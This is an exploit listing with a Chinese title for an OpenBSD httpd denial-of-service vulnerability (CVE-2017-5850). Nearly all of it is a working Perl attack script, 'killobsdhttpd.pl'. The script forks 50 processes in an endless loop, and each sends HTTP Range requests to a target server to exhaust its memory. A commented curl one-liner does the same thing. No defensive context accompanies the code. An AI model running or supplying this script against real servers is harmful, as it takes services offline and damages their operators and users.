OpenBSD http server - 拒绝服务漏洞(CVE-2017-5850)

#!/usr/bin/perl -w # curl --limit-rate 1 --continue-at 1 --header "Host: www.example.com" http://target/10mb.fs use warnings; use IO::Socket; use Parallel::ForkManager; $numforks = 50; if ($#ARGV < 1) { &usage; exit; } while (1) { &killhttpd(); } sub usage { print "OpenBSD HTTP Remote Denial of Service (memory exhaustion) - @PierreKimSec\n"; print "usage: perl killobsdhttpd.pl <host> <remotefile>\n"; } sub killhttpd { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); for (0 .. $numforks) { my $pid = $pm->start and next; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "GET $ARGV[1] HTTP/1.1\r\nRange: bytes=1-\r\nAccept: */*\r\nHost: $ARGV[0]\r\nConnection: close\r\n\r\n"; print $sock $p; if (<$sock>) {sleep (0.5); $sock->close();} $pm->finish; } $pm->wait_all_children; }